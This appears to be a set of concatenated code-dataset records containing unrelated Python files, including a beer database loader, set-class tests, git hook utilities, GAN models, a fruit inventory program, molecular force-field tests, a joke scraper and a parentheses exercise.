ids_and_ingredients():\n matched_beer = session.query(Beer).filter(Beer.beercode == beer['beercode'])[0]\n for ingredient in beer['data']:\n matched_ingredient = session.query(Ingredient).filter(Ingredient.ingredientcode == ingredient['id'])[0]\n matched_beer.ingredients.append(matched_ingredient)\n updated_beers.append(matched_beer)\n return updated_beers\n\n\n\nengine = sqlalchemy.create_engine('sqlite:///beers5.db', echo=True)\nBase.metadata.create_all(engine)\n\nfrom sqlalchemy.orm import sessionmaker\nSession = sessionmaker(bind=engine)\nsession = Session()\n\nsession.add_all(updated_beers)\nsession.commit()\n\n\nx = StyleBuilder()\nsession.add_all(x.run())\nsession.commit()\n\ny = BeerBuilder()\nsession.add_all(y.run())\nsession.commit()\n\nz = IngredientBuilder()\nsession.add_all(z.run())\nsession.commit()\n","sub_path":"get_data_2.py","file_name":"get_data_2.py","file_ext":"py","file_size_in_byte":7060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"509271417","text":"import pytest\n\ntry:\n from sets.verified_sets import VerifiedSet, IntSet\nexcept ImportError:\n pass\n\n\ndef test_sets_import():\n from sets.verified_sets import VerifiedSet, IntSet\n\n\ndef test_intset_subclass():\n assert issubclass(IntSet, VerifiedSet)\n\n\ndef test_validation_not_implemented():\n with pytest.raises(NotImplementedError):\n VerifiedSet((1,))\n\n\n@pytest.mark.parametrize(\n \"s, a, ans\", [((1, 2), 3, \"IntSet({1, 2, 3})\"), ((1, 2), 1, \"IntSet({1, 2})\")]\n)\ndef test_add(s, a, ans):\n c = IntSet(s)\n c.add(a)\n assert str(c) == ans and isinstance(c, IntSet), f\"Expected set of {ans} but got {c}\"\n\n\ndef test_add_subclass():\n a = IntSet(())\n with pytest.raises(TypeError):\n a.add(\"s\")\n\n\n@pytest.mark.parametrize(\n \"c, d, ans\",\n [\n ((1, 2), (8, 9, 3), \"IntSet({1, 2, 3, 8, 9})\"),\n ((8, 9, 3, 1), (11, 2), \"IntSet({1, 2, 3, 8, 9, 11})\"),\n ],\n)\ndef test_update(c, d, ans):\n a = IntSet(c)\n b = IntSet(d)\n a.update(b)\n assert str(a) == ans and isinstance(a, IntSet), f\"Expected set of {ans} but got {a}\"\n\n\ndef test_update_subclass():\n a = IntSet(())\n with pytest.raises(TypeError):\n a.update((1, \"s\"))\n\n\n@pytest.mark.parametrize(\n \"c, d, ans\",\n [\n ((11, 2), (8, 9, 3, 1), \"IntSet({1, 2, 3, 8, 9, 11})\"),\n ((11, 2, 4, 1), (8, 9, 3, 1), \"IntSet({2, 3, 4, 8, 9, 11})\"),\n ],\n)\ndef test_symmetric_difference_update(c, d, ans):\n a = IntSet(c)\n b = IntSet(d)\n a.symmetric_difference_update(b)\n assert str(a) == ans and isinstance(a, IntSet), f\"Expected set of {ans} but got {a}\"\n\n\ndef test_symmetric_difference_subclass():\n a = IntSet(())\n with pytest.raises(TypeError):\n a.symmetric_difference_update((1, \"s\"))\n","sub_path":"exercise_08/exercise_8_YanisMiraoui/tests/test_exercise_8_2_1.py","file_name":"test_exercise_8_2_1.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"217271052","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:ts=4:sw=4:expandtab\n#\n# ==================================================================\n#\n# Copyright (c) 2016, Parallels IP Holdings GmbH\n# Released under the terms of MIT license (see LICENSE for details)\n#\n# ==================================================================\n#\n'''\nhookutil: Hook utilities\n'''\n\nimport subprocess\nimport tempfile\nimport os\nimport re\nimport logging\n\nimport smtplib\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEText import MIMEText\nfrom email.Utils import formatdate, make_msgid\n\n\ndef run(cmd, exec_dir=os.getcwd(), env=None, check_ret=True):\n '''\n Execute a command in 'exec_dir' directory.\n '''\n log_cmd = ' '.join(cmd[:10] + [\" ... (cut %s)\" % (len(cmd)-10)] if len(cmd) > 10 else cmd)\n\n with tempfile.TemporaryFile() as out_fd:\n with tempfile.TemporaryFile() as err_fd:\n\n proc = subprocess.Popen(cmd,\n stdout=out_fd,\n stderr=err_fd,\n cwd=exec_dir,\n env=env)\n ret = proc.wait()\n\n out_fd.seek(0)\n out = out_fd.read()\n\n err_fd.seek(0)\n err = err_fd.read()\n\n if check_ret and ret != 0:\n logging.error(\"Command '%s' returned non-zero exit status %s (%s)\",\n log_cmd, ret, err)\n raise subprocess.CalledProcessError(ret, log_cmd)\n\n return ret, out, err\n\n\ndef get_attr(repo_dir, new_sha, filename, attr):\n '''\n Get git attribute 'attr' of file 'filename'.\n\n - repo_dir: repository root\n - new_sha: git object hash\n '''\n idx_file = tempfile.mkstemp(suffix='git_index')[1]\n\n env = os.environ.copy()\n env['GIT_INDEX_FILE'] = idx_file\n\n # Create an index from new_sha.\n cmd = ['git', 'read-tree', new_sha]\n run(cmd, repo_dir, env)\n\n # Get the attr only from the index.\n cmd = ['git', 'check-attr', '--cached', attr, '--', filename]\n _, out, _ = run(cmd, repo_dir, env)\n\n os.remove(idx_file)\n\n # Parse 'git check-attr' output.\n chunks = [c.strip() for c in out.split(':')]\n assert chunks[0] == filename\n assert chunks[1] == attr\n logging.debug(\"filename=%s, git attr %s=%s\", filename, attr, chunks[2])\n\n return chunks[2]\n\n\nclass Memoized(object):\n '''\n Decorator. Caches a function's return value each time it is called.\n If called later with the same arguments, the cached value is returned\n (not reevaluated).\n '''\n def __init__(self, function):\n self.function = function\n self.memoized = {}\n def __call__(self, *args, **kwargs):\n key = args + tuple(kwargs.values())\n try:\n logging.debug(\"Retreiving memoized %s %s %s\", self.function, args, kwargs)\n return self.memoized[key]\n except KeyError:\n logging.debug(\"Memoize %s %s %s\", self.function, args, kwargs)\n self.memoized[key] = self.function(*args, **kwargs)\n return self.memoized[key]\n\n\n@Memoized\ndef parse_git_log(repo, branch, old_sha, new_sha, this_branch_only=True):\n '''\n Parse 'git log' output. Return an array of dictionaries:\n {\n 'commit': commit hash,\n 'author_name': commit author name,\n 'author_email': commit author email,\n 'date': commit date,\n 'message': commit message\n }\n for each commit.\n\n When this_branch_only is False, do not include commits that\n exist in repo in 'git log' output.\n '''\n git_commit_fields = ['commit', 'author_name', 'author_email', 'date', 'message']\n git_log_format = '%x1f'.join(['%H', '%an', '%ae', '%ad', '%s']) + '%x1e'\n\n cmd = ['git', 'log', '--format=' + git_log_format]\n if old_sha == '0' * 40:\n # It's a new branch\n cmd += [new_sha]\n this_branch_only = False\n else:\n # It's an old branch, look only in this range\n cmd += [\"%s..%s\" % (old_sha, new_sha)]\n\n # Get all commits that exist only on the branch\n # being updated, and not any others\n # See http://stackoverflow.com/questions/5720343/\n # Exclude commits that exist in the repo\n if not this_branch_only:\n # Get all refs in the repo\n _, refs, _ = run(['git', 'for-each-ref', '--format=%(refname)'], repo)\n refs = refs.splitlines()\n # Remove the branch being pushed\n if branch in refs:\n refs.remove(branch)\n\n if refs:\n cmd += ['--ignore-missing', '--not'] + refs\n\n _, log, _ = run(cmd, repo)\n\n if not log:\n logging.debug(\"parse_git_log: empty log\")\n return {}\n\n log = log.strip('\\n\\x1e').split(\"\\x1e\")\n log = [row.strip().split(\"\\x1f\") for row in log]\n log = [dict(zip(git_commit_fields, row)) for row in log]\n\n for raw in log:\n logging.debug(\"Parsed commit: %s\", raw)\n\n return log\n\n\ndef parse_git_show(repo, sha, extensions=None):\n '''\n Parse 'git show' output. Return an arrays of dictionaries:\n {\n 'path': path fo file,\n 'status': modified, added, deleted, renamed or copied,\n 'old_blob': old blob hash,\n 'new_blob': new blob hash\n }\n for each modified file.\n '''\n def extension_match(filepath, extensions=None):\n '''\n Check if file extension matches any of the passed.\n\n - extension: an arrays of extension strings\n '''\n if extensions is None:\n return True\n return any(filepath.endswith(ext) for ext in extensions)\n\n assert sha != '0' * 40\n cmd = ['git', 'show', '--first-parent', '--raw', '--no-abbrev', '--format=', sha]\n _, show, _ = run(cmd, repo)\n\n git_show_fields = ('old_blob', 'new_blob', 'status', 'path')\n show_json = []\n for line in show.splitlines():\n # Parse git raw lines:\n # :100755 100755 7469841... 7399137... M githooks.py\n match = re.match(r\"^:\\d{6}\\s\\d{6}\\s([a-z0-9]{40})\\s([a-z0-9]{40})\\s([MAD])\\s+(.+)$\",\n line)\n if not match:\n logging.error(\"Could not parse 'git show' output: '%s'\" % line)\n continue\n\n # Check if file extension matches any of the passed.\n path = match.group(4)\n if extension_match(path, extensions):\n show_json.append(dict(zip(git_show_fields, match.groups())))\n logging.debug(\"Parsed modfile: %s\", show_json[-1])\n\n return show_json\n\n\ndef send_mail(mail_to, smtp_from, subject, smtp_server, smtp_port):\n '''\n Connect to the server once and send all mails\n from 'mail_to' dictionary. Contains emails as\n keys and messages to send as values.\n\n smtp_to: the sender\n subject: subject line, common for all mails\n '''\n if not mail_to:\n logging.debug('No mails to send (send_mail)')\n return\n\n logging.debug(\"Connecting to the server '%s:%s'\", smtp_server, smtp_port)\n smtp = smtplib.SMTP(smtp_server, smtp_port)\n logging.debug('Connected.')\n smtp.set_debuglevel(0)\n\n for send_to in mail_to:\n text = mail_to[send_to]\n\n msg_root = MIMEMultipart('related')\n msg_root['From'] = smtp_from\n msg_root['To'] = send_to\n msg_root['Date'] = formatdate(localtime=True)\n msg_root['Message-ID'] = make_msgid()\n msg_root['Subject'] = subject\n msg_root.preamble = 'This is a multi-part message in MIME format.'\n\n msg = MIMEMultipart('alternative')\n msg.set_charset('utf-8')\n\n msg_root.attach(msg)\n\n # Wrapping text to the simple html header\n text = '
' + text + '
'\n\n # Attaching text to the letter\n msg_text = MIMEText(text.encode(\n 'utf-8', 'replace'), 'html', _charset='utf-8')\n msg.attach(msg_text)\n\n email_file_data = msg_root.as_string()\n\n smtp.sendmail(smtp_from, send_to, email_file_data)\n logging.debug(\"Sent outgoing email to '%s'\", send_to)\n\n smtp.close()\n","sub_path":"hooks.d/hookutil.py","file_name":"hookutil.py","file_ext":"py","file_size_in_byte":8091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"239118652","text":"import os\nimport glob\nimport numpy\nfrom sh import cd \n\nRefinedPath = '../../../Downloads/PReMVOS/output/intermediate/refined_proposals/'\nCombinedPath = '../combined_proposals/'\n\nif __name__ == '__main__':\n dictRefined = {}\n os.chdir(RefinedPath)\n for name in os.listdir(\".\"): \n if os.path.isdir(name):\n count=0\n for fileName in os.listdir(name):\n count+=1\n dictRefined[name] = count\n dictCombined = {}\n os.chdir(CombinedPath)\n for name in os.listdir(\".\"):\n if os.path.isdir(name):\n count=0\n for fileName in os.listdir(name):\n count+=1\n dictCombined[name]=count\n \n os.chdir(\"../../../../../Documents/PReMVOS/preprocessing/\")\n f = open(\"notSolve.txt\", \"w\")\n for element in dictCombined:\n if (dictCombined[element] != dictRefined[element]):\n f.write(element+'\\n')\n f.close()\n\n","sub_path":"preprocessing/Little/findMissRefined.py","file_name":"findMissRefined.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"566772492","text":"import torch.nn.functional as F\nimport torch.nn as nn\n\n\nclass Generator(nn.Module):\n def __init__(self, input_dim,\n filters=64):\n super().__init__()\n self.input_dim = input_dim\n self.filters = filters\n\n self.fc_block = nn.Sequential(\n nn.Linear(input_dim, 4*4*8*filters),\n nn.BatchNorm1d(4*4*8*filters),\n nn.ReLU(inplace=True)\n )\n\n self.conv_block1 = nn.Sequential(\n nn.ConvTranspose2d(8*filters, 4*filters,\n kernel_size=2,\n stride=2),\n nn.BatchNorm2d(4*filters),\n nn.ReLU(True),\n )\n\n self.conv_block2 = nn.Sequential(\n nn.ConvTranspose2d(4*filters, 2*filters,\n kernel_size=2,\n stride=2),\n nn.BatchNorm2d(2*filters),\n nn.ReLU(True),\n )\n\n self.conv_block3 = nn.Sequential(\n nn.ConvTranspose2d(2*filters, filters,\n kernel_size=2,\n stride=2),\n nn.BatchNorm2d(filters),\n nn.ReLU(True),\n )\n\n self.last_conv = nn.ConvTranspose2d(filters, 1,\n kernel_size=2,\n stride=2)\n\n def forward(self, x):\n x = self.fc_block(x)\n x = x.view(-1, 8*self.filters, 4, 4)\n x = self.conv_block1(x)\n x = self.conv_block2(x)\n x = self.conv_block3(x)\n x = self.last_conv(x)\n x = F.tanh(x)\n return x\n\n\nclass Discriminator(nn.Module):\n def __init__(self, filters=64):\n super().__init__()\n self.filters = filters\n\n self.conv_block1 = nn.Sequential(\n nn.Conv2d(1, filters,\n kernel_size=3,\n stride=2,\n padding=1),\n nn.BatchNorm2d(filters),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.conv_block2 = nn.Sequential(\n nn.Conv2d(filters, 2*filters,\n kernel_size=3,\n stride=2,\n padding=1),\n nn.BatchNorm2d(2*filters),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.conv_block3 = nn.Sequential(\n nn.Conv2d(2*filters, 4*filters,\n kernel_size=3,\n stride=2,\n padding=1),\n nn.BatchNorm2d(4*filters),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.conv_block4 = nn.Sequential(\n nn.Conv2d(4*filters, 8*filters,\n kernel_size=3,\n stride=2,\n padding=1),\n nn.BatchNorm2d(8*filters),\n nn.LeakyReLU(0.2, inplace=True),\n )\n\n self.fc = nn.Linear(4*4*8*filters, 1)\n\n def forward(self, x):\n x = self.conv_block1(x)\n x = self.conv_block2(x)\n x = self.conv_block3(x)\n x = self.conv_block4(x)\n x = x.view(-1, 8*self.filters*4*4)\n x = self.fc(x)\n x = F.sigmoid(x)\n return x\n","sub_path":"lsun/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"454089543","text":"# **콘솔형 과일 재고 관리 프로그램**\n\nimport re\nimport datetime\nimport pandas as pd\n\nclass Fruit:\n fruitlist=[]\n fruit_df = pd.DataFrame(fruitlist, \n columns=['fruit_name', 'in_price', 'out_price','quantity','in_date','exp_date','disc_rate'])\n\n def selectChoice(self):\n self.i = True\n while self.i:\n self.choice=input('''\n 다음 중에서 하실 일을 골라주세요 :\n I - 과일 정보 입력\n U - 과일 정보 수정\n C - 과일 재고 조회\n S - 과일 출고 (판매)\n D - 과일 재고 정리\n Q - 프로그램 종료\n ''')\n if self.choice == 'Q':\n self.i = self.frmChoice(self.choice)\n else:\n self.frmChoice(self.choice)\n\n\n def frmChoice(self, choice):\n if choice == 'I':\n self.insertFruit()\n elif choice==\"U\":\n self.updateFruit()\n elif choice==\"C\":\n self.checkFruit()\n elif choice==\"S\":\n self.sellFruit()\n elif choice==\"D\":\n self.deleteFruit()\n elif choice==\"Q\":\n return False\n\n\n def insertFruit(self):\n fruit = {'fruit_name':'','in_price':0,'out_price':0,'quantity':0,'in_date':'','exp_date':'','disc_rate':0}\n fruit['fruit_name'] = str(input(\"과일명을 입력하세요 ( 한글로 ): \"))\n fruit['in_price'] = float(input('과일의 입고가격을 입력하세요.'))\n fruit['out_price'] = fruit['in_price']*1.5\n fruit['quantity'] = int(input('입고된 과일의 수량을 입력하세요.'))\n now = datetime.datetime.now()\n fruit['in_date'] = now.strftime('%Y-%m-%d %H:%M')\n keep_days = int(input('이 과일의 최대 보관일수를 입력해주세요. 예)3일이면 3'))\n fruit['exp_date'] = (now + datetime.timedelta(days=keep_days)).strftime('%Y-%m-%d %H:%M')\n self.fruitlist.append(fruit)\n print( self.fruitlist )\n self.fruit_df = pd.DataFrame( self.fruitlist )\n print( self.fruit_df )\n\n\n def updateFruit(self):\n # 과일이름 수정\n # 과일의 입고가격 수정\n # 과일의 수량 수정\n # 과일의 최대보관일수 수정\n print('수정')\n\n def checkFruit(self):\n # 입고일이 빠른 순으로 sorting 한다.\n fruit_df_sort = self.fruit_df.sort_values( by='in_date', ascending=True )\n print('재고확인 : 입고일이 빠른순')\n print(fruit_df_sort)\n\n def sellFruit(self):\n # > 창고에 있던 과일이 판매됨. \n # > 0개인 과일은 출고 불가. \n # > (+ 유통기한 임박 제품 판매시 할인율이 적용하여 출고가격이 생성됨.)\n print('과일 출고(판매)')\n \n\n\n#### 로직 확인하기\n def deleteFruit(self):\n now = datetime.datetime.now()\n now.strftime('%Y-%m-%d %H:%M')\n self.fruit_df['exp_date'] = ( self.fruit_df['exp_date'] > now ) \n if not self.fruit_df['exp_date']:\n print('유통기한이 지난 제품을 처분합니다.')\n\n\n\n # 유통기한에 따라 출고가 설정해주는 함수 작성\n # > 유통기한이 임박한 상품에 할인율 변수 값을 증가시킴.\n\n\n\n # 3. 구현\n # > - 입력시 딕셔너리로\n # > - 입력 후 append는 dataframe에\n # > - FIFO\n # > - 위 데이터 설명 내의 변수들이 컬럼값\n # > - 파일로 저장하여 콘솔 종료 후에도 입력 값이 남도록 한다\n # > - 콘솔 시작 시에는 저장된 파일을 불러와서 이용한다\n\n\n","sub_path":"supplementary_lessons/A_Group/jjioii25/fruit/fruit2.py","file_name":"fruit2.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"434072523","text":"from copy import deepcopy\n\nimport pytest\nfrom openff.toolkit.topology import Molecule, Topology\nfrom openff.toolkit.typing.engines.smirnoff import ForceField\nfrom openff.toolkit.typing.engines.smirnoff.parameters import (\n LibraryChargeHandler,\n UnassignedAngleParameterException,\n UnassignedBondParameterException,\n UnassignedProperTorsionParameterException,\n)\nfrom openff.units import unit\nfrom openff.utilities.testing import skip_if_missing\nfrom rdkit import Chem\nfrom simtk import openmm\nfrom simtk import unit as simtk_unit\n\nfrom openff.interchange.components.interchange import Interchange\nfrom openff.interchange.components.smirnoff import library_charge_from_molecule\nfrom openff.interchange.drivers.openmm import _get_openmm_energies, get_openmm_energies\nfrom openff.interchange.drivers.report import EnergyError\nfrom openff.interchange.tests.utils import (\n _compare_nonbonded_parameters,\n _compare_nonbonded_settings,\n _compare_torsion_forces,\n _get_force,\n)\nfrom openff.interchange.utils import get_test_file_path\n\nkj_mol = unit.kilojoule / unit.mol\n_parsley = ForceField(\"openff-1.0.0.offxml\")\n_box_vectors = simtk_unit.Quantity(\n [[4, 0, 0], [0, 4, 0], [0, 0, 4]], unit=simtk_unit.nanometer\n)\n\n\ndef compare_single_mol_systems(mol, force_field):\n\n top = mol.to_topology()\n top.box_vectors = _box_vectors\n\n try:\n toolkit_sys = force_field.create_openmm_system(\n top,\n charge_from_molecules=[mol],\n )\n except (\n UnassignedBondParameterException,\n UnassignedAngleParameterException,\n UnassignedProperTorsionParameterException,\n ):\n pytest.xfail(f\"Molecule failed! (missing valence parameters)\\t{mol.to_inchi()}\")\n\n toolkit_energy = _get_openmm_energies(\n toolkit_sys, box_vectors=_box_vectors, positions=mol.conformers[0]\n )\n\n openff_sys = Interchange.from_smirnoff(force_field=force_field, topology=top)\n openff_sys.positions = mol.conformers[0]\n system_energy = get_openmm_energies(openff_sys, combine_nonbonded_forces=True)\n\n toolkit_energy.compare(\n system_energy,\n custom_tolerances={\n \"Bond\": 1e-6 * kj_mol,\n \"Angle\": 1e-6 * kj_mol,\n \"Torsion\": 4e-5 * kj_mol,\n \"Nonbonded\": 1e-5 * kj_mol,\n },\n )\n\n\ndef compare_condensed_systems(mol, force_field):\n from openff.evaluator import unit as evaluator_unit\n from openff.evaluator.utils.packmol import pack_box\n\n mass_density = 500 * evaluator_unit.kilogram / evaluator_unit.meter ** 3\n\n trj, assigned_residue_names = pack_box(\n molecules=[mol], number_of_copies=[100], mass_density=mass_density\n )\n\n try:\n openff_top = Topology.from_openmm(trj.top.to_openmm(), unique_molecules=[mol])\n except ValueError:\n print(f\"Molecule failed! (conversion from OpenMM)\\t{mol.to_inchi()}\")\n return\n\n box_vectors = trj.unitcell_vectors[0] * simtk_unit.nanometer\n openff_top.box_vectors = box_vectors\n\n try:\n toolkit_sys = force_field.create_openmm_system(\n openff_top,\n charge_from_molecules=[mol],\n )\n\n except (\n UnassignedBondParameterException,\n UnassignedAngleParameterException,\n UnassignedProperTorsionParameterException,\n ):\n print(f\"Molecule failed! (missing valence parameters)\\t{mol.to_inchi()}\")\n return\n\n positions = trj.xyz[0] * simtk_unit.nanometer\n toolkit_energy = _get_openmm_energies(\n toolkit_sys,\n box_vectors=box_vectors,\n positions=positions,\n )\n\n openff_sys = Interchange.from_smirnoff(force_field=force_field, topology=openff_top)\n openff_sys.box = box_vectors\n openff_sys.positions = trj.xyz[0] * unit.nanometer\n\n new_sys = openff_sys.to_openmm(combine_nonbonded_forces=True)\n\n system_energy = _get_openmm_energies(\n new_sys,\n box_vectors=box_vectors,\n positions=positions,\n )\n\n # Where energies to not precisely match, inspect all parameters in each force\n try:\n toolkit_energy.compare(\n system_energy,\n custom_tolerances={\n \"Bond\": 1e-6 * kj_mol,\n \"Angle\": 1e-6 * kj_mol,\n \"Torsion\": 4e-5 * kj_mol,\n \"Nonbonded\": 1e-5 * kj_mol,\n },\n )\n except EnergyError as e:\n if \"Torsion\" in str(e):\n _compare_torsion_forces(\n _get_force(toolkit_sys, openmm.PeriodicTorsionForce),\n _get_force(new_sys, openmm.PeriodicTorsionForce),\n )\n if \"Nonbonded\" in str(e):\n _compare_nonbonded_settings(\n _get_force(toolkit_sys, openmm.NonbondedForce),\n _get_force(new_sys, openmm.NonbondedForce),\n )\n _compare_nonbonded_parameters(\n _get_force(toolkit_sys, openmm.NonbondedForce),\n _get_force(new_sys, openmm.NonbondedForce),\n )\n if \"Bond\" in str(e):\n raise e\n if \"Angle\" in str(e):\n raise e\n\n\n@skip_if_missing(\"openff.evaluator\")\n@pytest.mark.timeout(60)\n@pytest.mark.slow()\n@pytest.mark.parametrize(\n \"rdmol\",\n Chem.SDMolSupplier(get_test_file_path(\"MiniDrugBankTrimmed.sdf\"), sanitize=False),\n)\ndef test_energy_vs_toolkit(rdmol):\n\n Chem.SanitizeMol(rdmol)\n mol = Molecule.from_rdkit(rdmol, allow_undefined_stereo=True)\n\n mol.to_inchi()\n\n assert mol.n_conformers > 0\n\n max_n_heavy_atoms = 12\n if len([a for a in mol.atoms if a.atomic_number > 1]) > max_n_heavy_atoms:\n pytest.skip(f\"Skipping > {max_n_heavy_atoms} heavy atoms for now\")\n\n # Skip molecules that cause hangs due to the toolkit taking an excessive time\n # to match the library charge SMIRKS.\n if mol.to_inchikey(fixed_hydrogens=True) in [\n \"MUUSFMCMCWXMEM-UHFFFAOYNA-N\", # CHEMBL1362008\n ]:\n\n pytest.skip(\n \"toolkit taking an excessive time to match the library charge SMIRKS\"\n )\n\n # Faster to load once and deepcopy N times than load N times\n parsley = deepcopy(_parsley)\n\n if mol.partial_charges is None:\n pytest.skip(\"missing partial charges\")\n # mol.assign_partial_charges(partial_charge_method=\"am1bcc\")\n\n # Avoid AM1BCC calulations by using the partial charges in the SDF file\n library_charge_handler = LibraryChargeHandler(version=0.3)\n library_charges = library_charge_from_molecule(mol)\n library_charge_handler.add_parameter(parameter=library_charges)\n parsley.register_parameter_handler(library_charge_handler)\n\n compare_condensed_systems(mol, parsley)\n parsley.deregister_parameter_handler(parsley[\"Constraints\"])\n\n compare_single_mol_systems(mol, parsley)\n","sub_path":"openff/interchange/tests/integration_tests/test_toolkit.py","file_name":"test_toolkit.py","file_ext":"py","file_size_in_byte":6724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"616337457","text":"\"\"\"Сохраняет, обновляет и загружает локальную версию данных по CPI.\n\n get_cpi()\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\n\nfrom portfolio_optimizer import download\nfrom portfolio_optimizer.getter.storage import LocalFile\nfrom portfolio_optimizer.settings import DATE, CPI\n\nCPI_FOLDER = 'macro'\nCPI_FILE = 'cpi.csv'\nUPDATE_PERIOD_IN_DAYS = 1\n\n\ndef need_update(file: LocalFile):\n \"\"\"Обновление нужно, если прошло установленное число дней с момента обновления.\"\"\"\n if file.updated_days_ago() > UPDATE_PERIOD_IN_DAYS:\n return True\n return False\n\n\ndef validate(df_old, df_updated):\n \"\"\"Проверяет совпадение данных для дат, присутствующих в старом фрейме.\"\"\"\n if not np.allclose(df_old, df_updated[df_old.index]):\n raise ValueError('Новые данные CPI не совпадают с локальной версией.')\n\n\ndef update_cpi(file: LocalFile):\n \"\"\"Обновляет файл с данными, проверяя совпадение со старыми.\"\"\"\n df = file.read()\n if need_update(file):\n df_updated = download.cpi()\n validate(df, df_updated)\n df = df_updated\n file.save(df)\n\n\ndef create_cpi(file: LocalFile):\n \"\"\"Создает с нуля файл с данными.\"\"\"\n df = download.cpi()\n file.save(df)\n\n\ndef get_cpi():\n \"\"\"\n Сохраняет, обновляет и загружает локальную версию данных по CPI.\n\n Returns\n -------\n pd.Series\n В строках значения инфляции для каждого месяца.\n Инфляция 1,2% за месяц соответствует 1.012.\n \"\"\"\n converters = {DATE: pd.to_datetime,\n CPI: pd.to_numeric}\n data_file = LocalFile(CPI_FOLDER, CPI_FILE, converters)\n if data_file.exists():\n update_cpi(data_file)\n else:\n create_cpi(data_file)\n return data_file.read()\n\n\nif __name__ == '__main__':\n print(get_cpi())\n","sub_path":"src/portfolio_optimizer/getter/local_cpi.py","file_name":"local_cpi.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"41160288","text":"from lxml import html\nfrom lxml.cssselect import CSSSelector\nimport requests\nimport json\nimport re\nimport bs4\n\ncat_regex = re.compile('(?<=Category: )(.*[A-z])')\nscr_regex = re.compile(\"(?<=Rating: )(.*\\d)\")\n\nNUM_JOKES = 3773\n\ndef extract_joke(id):\n res = {}\n\n url = 'http://stupidstuff.org/jokes/joke.htm?jokeid={}'\n response = requests.get(url.format(id))\n\n sel_joke = CSSSelector('.scroll td')\n sel_cat = CSSSelector('center+ .bkline td')\n\n html_elmnts = html.fromstring(response.content)\n\n soup = bs4.BeautifulSoup(response.content, \"html5lib\")\n\n scroll = soup.find(class_=\"scroll\")\n good = scroll.find(\"td\")\n strgood = str(good)\n\n # 1. replace \\n with space\n # 2. get rid of \\\n # 3. replace email protected with @\n content = strgood[strgood.index(\">\")+1:strgood.index(\"\")]\n\n\n p1 = \" \".join(content.split(\"\\n\"))\n p2 = \"$@\".join(re.split('',p1))\n\n # remove list starter and header\n\n full_text=p2\n ul_ind = p2.find(\"
    \")\n # is a list\n if ul_ind != -1:\n acc = p2[:ul_ind]\n rest = p2[ul_ind+4:]\n\n rest_bulleted = \" - \".join(rest.split(\"
  • \"))\n rest_separated = \"\\n\".join(rest_bulleted.split(\"
  • \"))\n\n nould = \"\\n\".join(rest_separated.split(\"
\"))\n\n full_text = acc+\"\\n\"+nould\n\n\n\n full_text = \"\\n\\n\".join(full_text.split(\"

\"))\n full_text = \"\".join(full_text.split(\"

\"))\n full_text = \"\\n\".join(full_text.split(\"
\"))\n\n\n # replacing weird \\n's\n final = \" \".join(re.split('\\s*\\\\n\\s*(?=[a-z])',full_text))\n final1 = \"\\n\".join(re.split(' +\\\\n +|\\\\n +| +\\\\n',final))\n\n\n res['joke'] = final1.strip()\n \n\n for cat in sel_cat(html_elmnts):\n content = cat.text_content().strip()\n category = (cat_regex.search(content)).group(0)\n if (category == 'Miscellaneous'):\n res['categories'] = []\n else: \n res['categories'] = [category]\n rating = (scr_regex.search(content)).group(0)\n res['score'] = float(rating)\n\n\n return res\n\njokes = []\n\ntry:\n for i in range(1, NUM_JOKES+1):\n jokes.append(extract_joke(i))\n\nfinally:\n with open('../json/raw/jasons_cool_json_2.json', 'w') as file:\n json.dump(jokes, file, indent=4)\n","sub_path":"joke_dataset/getData/jason_is_stupid.py","file_name":"jason_is_stupid.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"215986680","text":"class Solution:\n def lenOfLongestVaPar_v1(self, s):\n count = 0\n for i, j in enumerate(s):\n if i < len(s) - 1 and s[i] + s[i + 1] == \"()\":\n s.replace(\"()\", \"\")\n count += 2\n return count\n\n def lenOfLongestValPar_v2(self, s):\n strlen = len(s)\n stack = [-1]\n res = 0\n for i in range(strlen):\n # If opening bracket, push index of it\n if s[i] == \"(\":\n stack.append(i)\n # If closing bracket, i.e., str[i] = ')', Pop the previous opening bracket's index\n else:\n stack.pop()\n # If stack is empty. push current index as base for next valid substring (if any)\n if len(stack)==0:\n stack.append(i)\n # Check if this length formed with base of current valid substring is more than max so far\n else:\n res = max(res, i - stack[len(stack) - 1])\n\n return res\n\n\nif __name__ == \"__main__\":\n print(Solution().lenOfLongestVaPar_v1(\"(()\"))\n print(Solution().lenOfLongestVaPar_v1(\")()())\"))\n\n print(Solution().lenOfLongestValPar_v2(\"(()\"))\n print(Solution().lenOfLongestValPar_v2(\")()())\"))\n print(Solution().lenOfLongestValPar_v2(\"(()())()\"))\n","sub_path":"other/datstr/v3/11string/probs/hard/longestValidParen.py","file_name":"longestValidParen.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"485847493","text":"\"\"\"An augmentation that erases random parts of an image.\"\"\"\nimport random\nfrom discolight.params.params import Params\nfrom .augmentation.types import ColorAugmentation\nfrom .decorators.accepts_probs import accepts_probs\n\n\n@accepts_probs\nclass RandomEraser(ColorAugmentation):\n\n \"\"\"Randomly erase a rectangular area in the given image.\n\n The erased area is replaced with random noise.\n \"\"\"\n\n def __init__(self, x_min, y_min, x_max, y_max):\n \"\"\"Construct a 